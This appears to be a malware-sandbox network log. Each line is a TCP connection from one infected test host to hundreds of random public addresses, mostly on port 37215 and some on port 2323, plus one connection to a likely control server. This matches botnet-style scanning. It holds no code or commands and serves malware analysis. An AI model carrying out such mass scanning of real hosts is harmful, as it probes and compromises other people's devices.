Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 2.38.61.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.160.147.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.102.130.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.25.156.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 103.70.219.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.63.211.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.210.89.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.93.55.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.199.97.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.237.142.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.225.190.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.6.116.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.189.110.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.151.238.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 112.234.47.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.160.227.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 213.97.112.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.67.97.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.6.148.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 126.255.146.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 137.233.56.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 18.189.172.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 1.148.239.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 202.201.192.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 193.228.232.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 109.155.217.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.210.186.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.98.163.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.87.177.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 23.114.18.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.73.141.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.91.212.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.157.241.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.134.35.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 78.13.212.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.64.35.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.35.116.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 106.205.211.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.229.153.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.98.34.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.20.180.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.58.129.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.55.10.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.132.136.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.146.55.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.83.232.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 218.25.22.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 2.76.241.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.139.6.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.196.46.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.143.39.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.179.100.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.119.249.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 18.103.70.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 173.34.24.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 218.12.181.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.150.32.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.159.70.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 52.4.140.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 14.64.173.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.122.19.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.202.26.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 219.209.44.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.14.17.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.134.228.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.146.215.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.243.171.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 118.47.10.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.81.115.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.208.134.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 25.248.138.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.165.241.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 100.55.79.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.247.67.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.11.38.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.12.247.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.114.78.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 38.110.93.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.172.255.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.68.254.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.30.204.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 223.164.117.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.165.27.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.180.119.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 153.15.187.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.76.165.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.232.234.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.215.45.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.130.148.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 153.180.1.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.140.89.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.239.10.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.88.236.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.121.253.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.242.228.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.165.147.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.87.116.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 188.230.46.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 206.210.90.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.25.190.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.2.254.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.172.134.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.36.188.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.37.147.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.189.211.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.135.220.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.31.2.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.3.11.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.42.124.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.25.138.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 83.147.236.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.235.15.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.35.40.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.27.89.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.83.160.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.100.174.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.214.2.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.190.152.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 138.222.91.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.156.14.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 91.164.224.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.247.235.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.15.53.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.111.154.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.60.184.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.157.76.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.74.229.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.236.82.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.219.202.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 176.199.25.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.175.183.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 31.30.142.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 190.217.224.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 101.147.45.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.72.221.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.73.193.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.176.180.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.167.66.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.33.177.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.78.110.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 148.54.208.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 166.24.188.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.0.123.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.4.67.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 181.105.45.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 50.65.60.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 25.90.46.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.48.112.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.178.28.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.244.34.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 204.243.88.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 60.14.143.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.138.63.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.238.247.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.193.22.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.173.114.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.65.32.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 57.167.162.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.25.38.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.68.73.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.95.217.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.42.54.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.155.48.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 144.93.197.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.32.159.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.50.234.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 25.12.222.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.72.105.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.27.72.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 121.129.254.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 23.54.198.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.81.104.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.188.129.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.69.172.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.90.109.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.11.118.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:46390 -> 94.156.71.55:38241
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 175.246.253.122:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 177.94.165.208:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 67.160.16.34:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 45.56.59.253:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 207.165.224.67:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 213.91.172.40:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 134.147.151.186:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 104.51.39.116:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 185.153.216.230:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 112.58.217.239:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 98.14.147.45:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 65.72.146.61:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 46.151.12.36:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 89.140.64.89:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 176.17.155.110:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 113.126.12.24:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 119.134.10.118:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 87.9.84.3:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 17.91.6.147:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 183.230.142.71:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 167.70.207.70:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 123.222.162.20:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 206.144.78.151:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 5.122.88.101:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 197.71.39.230:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 122.231.172.192:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 156.180.247.251:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 164.172.210.107:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 36.95.208.74:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 167.236.223.25:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 58.223.143.234:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 210.207.223.191:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 125.149.171.194:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 74.22.7.237:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 221.9.120.49:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 212.144.165.134:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 94.33.121.228:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 95.244.155.190:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 18.49.80.66:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 115.37.99.13:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 57.42.34.175:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 134.155.127.173:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 99.167.11.37:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 105.171.115.24:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 83.233.152.2:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 122.160.172.172:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 47.88.233.221:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 155.209.226.138:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 142.42.239.69:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 124.13.145.80:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 17.105.234.213:2323
Source: global traffic	TCP traffic: 192.168.2.15:13638 -> 144.147.20.228:2323
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.177.157.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 138.241.88.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 38.159.80.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.5.202.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.7.187.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.0.76.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.111.174.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.102.69.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.81.168.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.59.103.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 162.78.194.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.242.102.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.29.60.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.247.151.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.58.42.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.126.155.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.142.186.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.171.191.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.252.66.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 144.69.50.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.220.150.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.168.251.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.198.242.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.144.27.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 51.108.41.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 135.178.80.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.103.38.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.179.125.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.86.231.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 73.197.53.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.6.156.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.205.241.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.191.171.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.133.25.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.14.143.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.86.227.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.145.126.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.120.101.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 200.16.103.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.154.48.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.129.94.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.185.20.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.43.64.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 204.143.116.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.122.212.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.146.117.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.183.47.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.0.168.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 220.221.227.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 18.140.95.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.59.95.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.6.12.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 142.48.165.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 210.79.249.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.71.101.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.59.175.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 54.163.65.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.0.33.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.168.94.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.157.131.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.82.88.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.96.30.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.224.213.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.87.88.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.252.64.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.248.247.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 203.175.49.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.146.240.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.195.192.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.38.194.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 84.142.70.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.62.214.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.5.185.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.108.103.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.1.190.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.117.193.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.163.236.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 149.11.203.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.221.241.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.16.54.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.220.7.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.95.234.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.212.231.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.31.114.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 112.241.158.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.147.86.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.32.226.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.167.143.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.136.38.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.204.92.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 43.151.189.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 190.25.101.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.132.98.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 149.157.92.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 213.199.74.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.33.79.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.79.248.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.211.38.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.96.191.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.84.185.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.15.230.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.152.93.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 129.20.199.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.208.70.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.169.9.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 114.172.77.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.250.167.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.106.215.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.195.17.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.121.110.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 181.241.193.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.171.72.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.163.5.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.2.163.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 52.148.117.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 154.7.158.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.124.151.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 88.227.163.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.16.20.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.56.98.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.103.146.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.88.111.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.31.77.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 123.21.83.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.0.177.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.95.182.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.73.201.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 202.116.141.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.80.154.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.213.229.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.138.212.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.86.117.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 157.144.141.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.82.49.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 197.99.207.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:14150 -> 41.36.106.162:37215
